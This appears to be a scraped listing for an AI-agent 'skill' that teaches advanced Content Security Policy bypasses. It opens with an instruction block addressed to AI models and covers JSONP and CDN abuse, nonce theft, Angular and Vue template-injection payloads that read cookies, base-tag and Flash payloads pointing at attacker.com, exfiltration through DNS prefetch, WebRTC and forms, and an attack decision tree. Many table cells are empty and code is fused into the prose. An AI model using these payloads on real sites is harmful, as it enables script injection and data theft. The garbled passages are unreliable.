Loading...
Loading...
Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.
npx skill4agent add yaklang/hack-skills csp-bypass-advancedAI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggestbypass without checking if the CSP actually uses it, or miss the criticalunsafe-inlineandbase-urigaps.object-src
frame-ancestors| Directive | Controls | Default Fallback |
|---|---|---|
| Fallback for all | None (browser default: allow all) |
| JavaScript execution | |
| CSS loading | |
| Image loading | |
| XHR, fetch, WebSocket, EventSource | |
| iframe/frame sources | |
| Font loading | |
| | |
| | |
| | No fallback — unrestricted if absent |
| Form submission targets | No fallback — unrestricted if absent |
| Who can embed this page (replaces X-Frame-Options) | No fallback — unrestricted if absent |
| Where violation reports are sent | N/A |
| Navigation targets (limited browser support) | No fallback |
base-uriform-actionframe-ancestorsdefault-srcscript-src 'self'| Vector | Technique |
|---|---|
| JSONP endpoints | |
| Uploaded JS files | Upload |
| DOM XSS sinks | Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param |
| Angular/Vue template injection | If framework is loaded from |
| Service Worker | Register SW from same origin → intercept and modify responses |
| Path confusion | |
script-srcscript-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net| Whitelisted CDN | Bypass |
|---|---|
| Host arbitrary JS via CDNJS (find lib with callback/eval): |
| jsdelivr serves any npm package or GitHub file: |
| Google JSONP endpoints, Google Maps callback parameter |
| Same as jsdelivr — serves arbitrary npm packages |
| CloudFront distributions are shared — any CF customer's JS is allowed |
site:googleapis.com inurl:callbackscript-src 'unsafe-eval'eval()Function()setTimeout(string)setInterval(string)// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()
// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))script-src 'nonce-xxx'| Bypass | Condition |
|---|---|
| Nonce reuse | Server uses same nonce across requests or for all users → predictable |
| Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject |
| Dangling markup to steal nonce | |
| DOM clobbering | Overwrite nonce-checking code via DOM clobbering: |
| Script gadgets | Trusted nonced script uses DOM data to create new script elements — inject that DOM data |
script-src 'strict-dynamic'| Bypass | Technique |
|---|---|
| |
| Script gadget in trusted code | Find trusted script that does |
| DOM XSS in trusted script | Trusted script reads |
<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>
<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>object-srcobject-srcdefault-srcdefault-src<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
<param name="AllowScriptAccess" value="always">
</object>
<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">base-uri<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">
<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->'nonce-xxx''strict-dynamic'script-src 'self'frame-ancestorsframe-ancestorsX-Frame-Optionsframe-ancestorsframe-ancestors<meta http-equiv="Content-Security-Policy" content="script-src 'self'">frame-ancestorsreport-urireport-tosandboxconnect-srcimg-src| Channel | CSP Directive Needed to Block | Technique |
|---|---|---|
| DNS prefetch | None (CSP cannot block DNS) | |
| WebRTC | None (CSP cannot block) | |
| | Often missed in CSP |
| Redirect-based | | |
| CSS injection | | |
| | |
| N/A | Trigger CSP violation → report contains blocked-uri with data |
| Form submission | | |
CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│ ├── 'unsafe-inline' in script-src? → Standard XSS works
│ ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│ ├── * or data: in script-src? → <script src="data:,alert(1)">
│ └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│ ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│ ├── No object-src? → Flash/plugin-based bypass (legacy)
│ ├── No form-action? → Exfil via form submission
│ ├── No frame-ancestors? → Clickjacking possible
│ └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│ ├── Find JSONP endpoints on same origin
│ ├── Find file upload → upload .js file
│ ├── Find DOM XSS in existing same-origin scripts
│ └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│ ├── Check CDN for JSONP endpoints
│ ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│ └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│ ├── Nonce reused across requests? → Replay
│ ├── CRLF injection available? → Inject nonce
│ ├── Dangling markup to steal nonce
│ └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│ ├── base-uri not set? → <base> hijack
│ ├── DOM XSS in trusted script? → Inherit trust
│ └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
├── DNS prefetch exfiltration
├── WebRTC exfiltration
├── CSS injection for data extraction
└── Form action exfiltrationdefault-src 'self'base-uriform-actionstrict-dynamicstrict-dynamic'self'Content-Security-Policy<meta>Content-Security-Policy-Report-Onlyreport-uriblocked-urisource-fileline-numberdata:script-src 'self' data:<script src="data:text/javascript,alert(1)">